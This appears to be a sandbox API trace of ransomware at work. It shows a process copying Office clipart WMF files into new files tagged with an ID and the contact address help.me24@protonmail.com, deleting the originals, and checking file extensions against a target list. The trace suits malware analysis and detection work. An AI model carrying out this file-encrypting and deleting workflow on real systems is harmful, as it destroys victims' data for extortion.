	[0083.138] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.139] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.139] GetLastError () returned 0x0
	[0083.139] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1e7c, lpOverlapped=0x0) returned 1
	[0083.141] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1e80, lpOverlapped=0x0) returned 1
	[0083.142] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.142] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.142] SetEndOfFile (hFile=0x388) returned 1
	[0083.142] CloseHandle (hObject=0x388) returned 1
	[0083.143] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.143] SetEndOfFile (hFile=0x320) returned 1
	[0083.143] CloseHandle (hObject=0x320) returned 1
	[0083.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1
	[0083.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0083.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0083.144] lstrlenW (lpString=".doc") returned 4
	[0083.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.144] lstrlenW (lpString=".docx") returned 5
	[0083.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.144] lstrlenW (lpString=".pdf") returned 4
	[0083.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.144] lstrlenW (lpString=".xls") returned 4
	[0083.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.144] lstrlenW (lpString=".xlsx") returned 5
	[0083.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.144] lstrlenW (lpString=".ppt") returned 4
	[0083.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0083.144] lstrlenW (lpString=".zip") returned 4
	[0083.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.144] lstrlenW (lpString=".rar") returned 4
	[0083.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.144] lstrlenW (lpString=".bz2") returned 4
	[0083.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.145] lstrlenW (lpString=".7z") returned 3
	[0083.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0083.145] lstrlenW (lpString=".dbf") returned 4
	[0083.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0083.145] lstrlenW (lpString=".1cd") returned 4
	[0083.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0083.145] lstrlenW (lpString=".jpg") returned 4
	[0083.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0083.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0083.145] lstrlenW (lpString=".doc") returned 4
	[0083.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.145] lstrlenW (lpString=".docx") returned 5
	[0083.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.145] lstrlenW (lpString=".pdf") returned 4
	[0083.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.145] lstrlenW (lpString=".xls") returned 4
	[0083.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.145] lstrlenW (lpString=".xlsx") returned 5
	[0083.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.145] lstrlenW (lpString=".ppt") returned 4
	[0083.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0083.145] lstrlenW (lpString=".zip") returned 4
	[0083.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.145] lstrlenW (lpString=".rar") returned 4
	[0083.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.145] lstrlenW (lpString=".bz2") returned 4
	[0083.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.145] lstrlenW (lpString=".7z") returned 3
	[0083.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0083.145] lstrlenW (lpString=".dbf") returned 4
	[0083.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0083.146] lstrlenW (lpString=".1cd") returned 4
	[0083.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0083.146] lstrlenW (lpString=".jpg") returned 4
	[0083.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.146] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.146] lstrlenW (lpString="AN04332_.WMF") returned 12
	[0083.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.146] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4296) returned 1
	[0083.146] CloseHandle (hObject=0x320) returned 1
	[0083.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220
	[0083.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.147] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.147] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.147] GetLastError () returned 0x0
	[0083.147] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x10c8, lpOverlapped=0x0) returned 1
	[0083.148] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x10d0, lpOverlapped=0x0) returned 1
	[0083.149] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.149] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.149] SetEndOfFile (hFile=0x388) returned 1
	[0083.150] CloseHandle (hObject=0x388) returned 1
	[0083.150] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.150] SetEndOfFile (hFile=0x320) returned 1
	[0083.151] CloseHandle (hObject=0x320) returned 1
	[0083.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1
	[0083.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0083.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0083.152] lstrlenW (lpString=".doc") returned 4
	[0083.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.152] lstrlenW (lpString=".docx") returned 5
	[0083.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.152] lstrlenW (lpString=".pdf") returned 4
	[0083.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.152] lstrlenW (lpString=".xls") returned 4
	[0083.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.152] lstrlenW (lpString=".xlsx") returned 5
	[0083.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.152] lstrlenW (lpString=".ppt") returned 4
	[0083.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0083.152] lstrlenW (lpString=".zip") returned 4
	[0083.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.152] lstrlenW (lpString=".rar") returned 4
	[0083.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.152] lstrlenW (lpString=".bz2") returned 4
	[0083.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.152] lstrlenW (lpString=".7z") returned 3
	[0083.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0083.152] lstrlenW (lpString=".dbf") returned 4
	[0083.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0083.153] lstrlenW (lpString=".1cd") returned 4
	[0083.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0083.153] lstrlenW (lpString=".jpg") returned 4
	[0083.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0083.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0083.153] lstrlenW (lpString=".doc") returned 4
	[0083.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.153] lstrlenW (lpString=".docx") returned 5
	[0083.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.153] lstrlenW (lpString=".pdf") returned 4
	[0083.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.153] lstrlenW (lpString=".xls") returned 4
	[0083.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.153] lstrlenW (lpString=".xlsx") returned 5
	[0083.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.153] lstrlenW (lpString=".ppt") returned 4
	[0083.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0083.153] lstrlenW (lpString=".zip") returned 4
	[0083.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.153] lstrlenW (lpString=".rar") returned 4
	[0083.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.153] lstrlenW (lpString=".bz2") returned 4
	[0083.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.153] lstrlenW (lpString=".7z") returned 3
	[0083.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0083.153] lstrlenW (lpString=".dbf") returned 4
	[0083.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0083.153] lstrlenW (lpString=".1cd") returned 4
	[0083.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0083.154] lstrlenW (lpString=".jpg") returned 4
	[0083.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.154] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.154] lstrlenW (lpString="AN04355_.WMF") returned 12
	[0083.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.154] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3228) returned 1
	[0083.154] CloseHandle (hObject=0x320) returned 1
	[0083.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220
	[0083.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.154] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.154] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.155] GetLastError () returned 0x0
	[0083.155] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xc9c, lpOverlapped=0x0) returned 1
	[0083.156] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xca0, lpOverlapped=0x0) returned 1
	[0083.157] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.157] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.157] SetEndOfFile (hFile=0x388) returned 1
	[0083.157] CloseHandle (hObject=0x388) returned 1
	[0083.158] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.158] SetEndOfFile (hFile=0x320) returned 1
	[0083.159] CloseHandle (hObject=0x320) returned 1
	[0083.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1
	[0083.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0083.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0083.160] lstrlenW (lpString=".doc") returned 4
	[0083.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.160] lstrlenW (lpString=".docx") returned 5
	[0083.160] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.160] lstrlenW (lpString=".pdf") returned 4
	[0083.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.160] lstrlenW (lpString=".xls") returned 4
	[0083.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.160] lstrlenW (lpString=".xlsx") returned 5
	[0083.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.160] lstrlenW (lpString=".ppt") returned 4
	[0083.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0083.160] lstrlenW (lpString=".zip") returned 4
	[0083.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.160] lstrlenW (lpString=".rar") returned 4
	[0083.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.160] lstrlenW (lpString=".bz2") returned 4
	[0083.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.160] lstrlenW (lpString=".7z") returned 3
	[0083.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0083.160] lstrlenW (lpString=".dbf") returned 4
	[0083.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0083.160] lstrlenW (lpString=".1cd") returned 4
	[0083.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0083.161] lstrlenW (lpString=".jpg") returned 4
	[0083.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0083.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0083.161] lstrlenW (lpString=".doc") returned 4
	[0083.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.161] lstrlenW (lpString=".docx") returned 5
	[0083.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.161] lstrlenW (lpString=".pdf") returned 4
	[0083.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.161] lstrlenW (lpString=".xls") returned 4
	[0083.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.161] lstrlenW (lpString=".xlsx") returned 5
	[0083.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.161] lstrlenW (lpString=".ppt") returned 4
	[0083.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0083.161] lstrlenW (lpString=".zip") returned 4
	[0083.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.161] lstrlenW (lpString=".rar") returned 4
	[0083.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.161] lstrlenW (lpString=".bz2") returned 4
	[0083.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.161] lstrlenW (lpString=".7z") returned 3
	[0083.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0083.161] lstrlenW (lpString=".dbf") returned 4
	[0083.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0083.161] lstrlenW (lpString=".1cd") returned 4
	[0083.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0083.161] lstrlenW (lpString=".jpg") returned 4
	[0083.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.162] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.162] lstrlenW (lpString="AN04369_.WMF") returned 12
	[0083.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.162] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4808) returned 1
	[0083.162] CloseHandle (hObject=0x320) returned 1
	[0083.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220
	[0083.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
